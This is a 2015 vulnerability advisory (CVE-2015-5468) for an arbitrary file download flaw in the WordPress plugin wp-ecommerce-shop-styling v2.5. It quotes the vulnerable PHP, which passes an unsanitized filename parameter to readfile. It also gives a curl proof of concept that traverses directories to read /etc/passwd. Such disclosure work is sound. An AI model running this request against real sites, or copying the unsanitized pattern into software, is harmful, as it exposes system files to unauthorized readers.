Advisory #: 136
Title: Arbitrary file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-05
Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling
Vendor: https://profiles.wordpress.org/haet/
Vendor Notified: 2015-07-05
Vendor Contact: http://wpshopstyling.com
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.
Vulnerability:
The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded. 1 <?php 2 require_once("../../../../wp-admin/admin.php"); 3 4 header('Content-disposition: attachment; filename='.$_GET['filename']); 5 header('Content-type: application/pdf'); 6 readfile(HAET_INVOICE_PATH.$_GET['filename']); 7 ?> You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.
CVE-2015-5468
Export: JSON TEXT XML
Exploit Code:
  1. $ curl http://www.example.com/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd
Screen Shots:
Advisory: http://www.vapid.dhs.org/advisory.php?v=136
Notes: